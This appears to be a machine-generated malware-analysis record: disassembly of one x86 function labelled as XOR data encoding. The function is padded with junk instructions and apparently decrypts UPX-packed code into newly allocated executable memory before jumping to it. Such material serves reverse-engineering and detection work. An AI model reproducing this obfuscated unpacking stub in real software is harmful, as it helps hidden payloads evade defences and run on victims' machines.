Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x6498dd9b
add esi, 0xa4fc2579
or esi, edx
mov esi, 0x201a2344
popal
not esi
not edx
mov edx, 0
mov ecx, esi
and eax, eax
add edi, eax
and edi, eax
mov ebx, ecx
not eax
and eax, eax
add edi, 0xa6418180
mov esi, ebx
dec eax
sub eax, 1
add edi, edi
inc edx
inc edi
sub eax, edi
sub eax, edi
cmp edx, 0x100e25b
jne 0xa789c9
dec eax
add eax, 1
sub edx, esi
or esi, edx
mov edi, 0xa78796
add edx, ebx
sub eax, 1
mov esi, 0xa7898a
or eax, eax
sub ebx, eax
mov ecx, dword [edi]
inc ebx
mov ebx, edx
mov ebx, 0xb2df820c
and ecx, 0xff
add eax, 0x634eeec8
mov eax, 0xd92a145d
sub eax, 0x3d28c210
xor dword [esi], ecx
not ebx
mov ebx, 0xf44b72aa
inc eax
add esi, 1
or eax, eax
add edx, 0xe8598e81
inc edi
sub edx, ebx
add edx, 0xde000bc9
add eax, 0x2c0dce6c
cmp esi, entry0
jl 0xa78a1b
not edx
sub edx, 0x95061b22
add eax, 0x3181794a
inc edx
mov eax, 0x95fdd22a
mov eax, ebx
inc esi
sub edi, edx
mov ecx, 0xa7898e
not esi
sub edx, 0x8fd2b331
mov ecx, dword [ecx]
sub edi, 0x3f41fa83
sub edi, esi
mov ecx, dword [ecx]
inc ebx
mov esi, edi
add edx, 1
push ecx
mov edi, 0x692e18fb
or esi, esi
mov ecx, 0xa7898a
not ebx
and esi, edi
sub ebx, edi
mov ecx, dword [ecx]
add edx, edi
add edx, esi
mov ecx, dword [ecx]
add ebx, edx
not ebx
and esi, esi
sub esp, 4
mov dword [esp], 0xa78992
add edx, esi
add edi, edx
not edx
call ecx
sub edx, ebx
not edi
dec esi
pop ecx
mov ebx, 0x1370bead
or edi, edx
push 0xa7899f
sub ebx, esi
mov edx, 0x61dc3b82
not ebx
sub esp, 4
mov dword [esp], eax
sub ebx, edi
not edx
add edi, edi
call ecx
or ebx, ebx
mov edx, ebx
inc edx
push 0x40
or edx, esi
not ebx
push 0x3000
dec edx
dec esi
push 0x2000081c
sub edi, esi
dec esi
or edi, ebx
sub esp, 4
mov dword [esp], 0
add ebx, 0x56ae713a
add esi, 0x33aad8d0
call eax
dec edx
and ebx, ebx
inc esi
add eax, 0x200007a9
dec edx
sub edi, 0x1681ab7e
mov ebx, esi
mov ecx, 0xdb8419db
add esi, ebx
dec edi
mov dword [eax], ecx
and esi, esi
sub ebx, edx
mov ecx, dword [eax]
sub esi, edx
dec ebx
cmp ecx, 0xdb8419db
je 0xa78b72
mov eax, 0
mov byte [eax], bl
add edx, 1
inc edi
mov edx, 0xe38ae14a
add edi, 0x3ee1bb47
inc ebx
mov ebx, edx
not edx
or edx, edx
or esi, edx
mov ecx, section.UPX1
add esi, 0xe0b769d1
add esi, edx
sub esi, edx
mov ebx, 0xa78795
add edx, 1
add esi, 1
mov edx, 0x3de3ef64
mov eax, 0
not esi
mov edx, 0x82835767
dec esi
mov edi, 0xa78796
inc esi
and edx, esi
lea edi, [eax + edi]
sub esi, 0xc95e3cf4
mov esi, 0xb4a63c50
mov esi, edx
mov edi, dword [edi]
mov esi, edx
not esi
and edi, 0xff
add esi, edx
add esi, esi
not edx
inc eax
not esi
and esi, esi
cmp eax, 0x1f4
jne 0xa78bfb
mov eax, 0
not edx
or esi, esi
add esi, edx
not edx
xor dword [ecx], edi
and edx, esi
and edx, edx
add edx, edx
add ecx, 2
or edx, edx
add edx, edx
cmp ecx, ebx
jl 0xa78bbf
add edx, 0x4232cf3a
and edx, edx
or edx, esi
sub esi, edx
mov eax, section.UPX1
mov ebx, 0x61a606af
or ebx, ecx
and ecx, ebx
mov edi, section.UPX1
sub ebx, 0xbcdf14f7
add ebx, 0xcb0d96a0
add ecx, 0xcf91c6e6
mov esi, 0xa78795
mov ecx, 0x5407f61a
add ebx, 1
sub ebx, 0xb7647efa
mov edx, 0
dec ecx
not ebx
mov dl, byte [edi]
sub ebx, ecx
sub ecx, 0xc043475c
sub ebx, ecx
mov byte [eax], dl
mov ebx, 0x1ab5b4a3
sub ecx, 0xb0e47581
add eax, 1
add ebx, 0x52c02a0e
and ebx, ecx
add edi, 2
mov ecx, ebx
add ebx, 0x6c2d2878
and ebx, ecx
cmp edi, esi
jle 0xa78c6c
or ecx, ecx
sub ebx, 1
mov edx, esi
or edx, esi
sub esp, 4
mov dword [esp], 0x8dc6a0
inc esi
add edx, esi
ret